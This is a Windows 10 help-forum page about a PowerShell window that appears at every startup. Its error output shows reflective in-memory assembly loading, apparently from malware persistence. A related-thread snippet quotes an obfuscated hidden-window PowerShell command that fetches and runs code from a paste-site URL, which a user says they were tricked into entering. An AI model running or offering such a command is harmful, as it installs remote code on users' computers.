Windows 10: Everytime on startup powershell command promt comes up and wont go away

Discus and support Everytime on startup powershell command promt comes up and wont go away in Windows 10 Software and Apps to solve the problem; Everytime on startup powershell command promt comes up with:Hosted DynamicMethods Assembly, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null' or... Discussion in 'Windows 10 Software and Apps' started by Housty282, Jun 22, 2023.

  1. Housty282 Win User

    Everytime on startup powershell command promt comes up and wont go away


    Everytime on startup powershell command promt comes up with:Hosted DynamicMethods Assembly, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null' or one of its dependencies. Anattempt was made to load a program with an incorrect format."At line:1 char:91+ ... se$bytes; [System.Reflection.Assembly]::Load$bytes.EntryPoint.Inv ...+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + CategoryInfo : NotSpecified: : [], MethodInvocationException + FullyQualifiedErrorId : BadImageFormatExceptionEverytime I try to close the window it will pop back up, this

    :)
     
    Housty282, Jun 22, 2023
    #1

  2. Settings and command promt not working

    I recently made changes to my computer by accidentally selecting hidden in attributes of I think my Program files and after I did that my settings and command promt stopped working. All files are back to normal but my settings and command promt still wont
    work. Command promt wont open with the hot keys and I cant search it in the search bar cause my search bar wont open(deleting cortana messed that up my search bar ..which is a different issue). As far as settings go I can pull up the settings but nothing shows
    up only the options on the left of the menu. Here is an Example, I can click on settings and click on apps or security but nothing shows up just A white screen with the menu options on the left and settings freezes, In tast manager it says "application frame
    host" not responding.

    Currently I have ran the troubleshooter for windows apps which said it fixed some corrupt file but had no effect on settings or command promt.

    The issues started when I made those file changes.
     
    AdamRiddle1, Jun 22, 2023
    #2
  3. Locked Powershell startup command in context menu

    Hi

    I had thought it had resolved the problem of the 2 PowerShell scripts as I was able disable them in the context menu of startup. Unfortunately I'm not able to delete them, either in CCleaner or in the registry even though I set permissions to full control.
    That said CCleaner shows them as disabled.

    Have I missed something?

    Hi

    I had missed the section on applying full control to the command folder beneath the PowerShell one in regedit. Since I changed the permissions on the command folder as well I have now deleted the two scripts from the startup program list in the context menu.

    Many thanks for your help.

    K
     
    kieronredmond, Jun 22, 2023
    #3
  4. Kursah Win User

    Everytime on startup powershell command promt comes up and wont go away

    PowerShell instead of Commandline in Creators Update

    Interestingly enough my personal laptop just got the update...and still has Command Prompt listed, not PowerShell...

    Edit: Not that it matters...I use both regularly. *Toast :toast:
     
    Kursah, Jun 22, 2023
    #4
Thema:

Everytime on startup powershell command promt comes up and wont go away

Loading...
  1. Everytime on startup powershell command promt comes up and wont go away - Similar Threads - Everytime startup powershell

  2. Entering powershell command promt mistakenly

    in Windows 10 Gaming
    Entering powershell command promt mistakenly: I stupidly mistakenly entered below command prompt when trying to access a website, is there a way to check if it affects my computer? And if it does, is there a way to fix this? Thank you in advance.POWErshelL -w 1 . IEX'https://nopaste.net/YNW0Hgj1vb'%{IWR Get-Variable _...
  3. Entering powershell command promt mistakenly

    in Windows 10 Software and Apps
    Entering powershell command promt mistakenly: I stupidly mistakenly entered below command prompt when trying to access a website, is there a way to check if it affects my computer? And if it does, is there a way to fix this? Thank you in advance.POWErshelL -w 1 . IEX'https://nopaste.net/YNW0Hgj1vb'%{IWR Get-Variable _...
  4. Command promt keeps popping up

    in Windows 10 Gaming
    Command promt keeps popping up: I use windows 11 and for months now I have been having issues with a cmd promt appearing on my screen and I have to close out of it manually and it has been very bothersome. The name of the the cmd promt is long but it includes the name "system 32" most times it is completely...
  5. Everytime on startup powershell command promt comes up and wont go away

    in Windows 10 Gaming
    Everytime on startup powershell command promt comes up and wont go away: Everytime on startup powershell command promt comes up with:Hosted DynamicMethods Assembly, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null' or one of its dependencies. Anattempt was made to load a program with an incorrect format."At line:1 char:91+ ... se$bytes;...
  6. Command promt

    in Windows 10 Customization
    Command promt: Hi, So I recently repaired windows and I realized my command prompt doesn't work. Whenever I press windows x it tell me a message that says, ""Can I please get help? https://answers.microsoft.com/en-us/windows/forum/all/command-promt/a67c9722-ed24-46b9-933a-2a944fc2f753
  7. Command promt

    in Windows 10 Gaming
    Command promt: Hi, So I recently repaired windows and I realized my command prompt doesn't work. Whenever I press windows x it tell me a message that says, ""Can I please get help? https://answers.microsoft.com/en-us/windows/forum/all/command-promt/a67c9722-ed24-46b9-933a-2a944fc2f753
  8. Command promt opens and closes on startup

    in Windows 10 Drivers and Hardware
    Command promt opens and closes on startup: On startup command promt opens automatically and quickly closes in the flash of an eyeThis started happening randomly one day what should I do? https://answers.microsoft.com/en-us/windows/forum/all/command-promt-opens-and-closes-on-startup/befe3220-9f5b-449c-9e31-53fead51179c
  9. Powershell 1.0 wont go away

    in Windows 10 Network and Sharing
    Powershell 1.0 wont go away: I have disabled Powershell 2.0 on my Windows 10 64bit laptop and that doesn't come back on startup, but powershell 1.0 comes back when rebooting the computer even though it is not in the startup menu and I checked the shell: startup folder using the run command and deleted...
  10. Pop Ups wont go away

    in AntiVirus, Firewalls and System Security
    Pop Ups wont go away: PLEASE HELP I have a pop up ob my desktop, that shows up every time I turn on my computer and wont go away. Says things like "she left a message" with a profanity picture....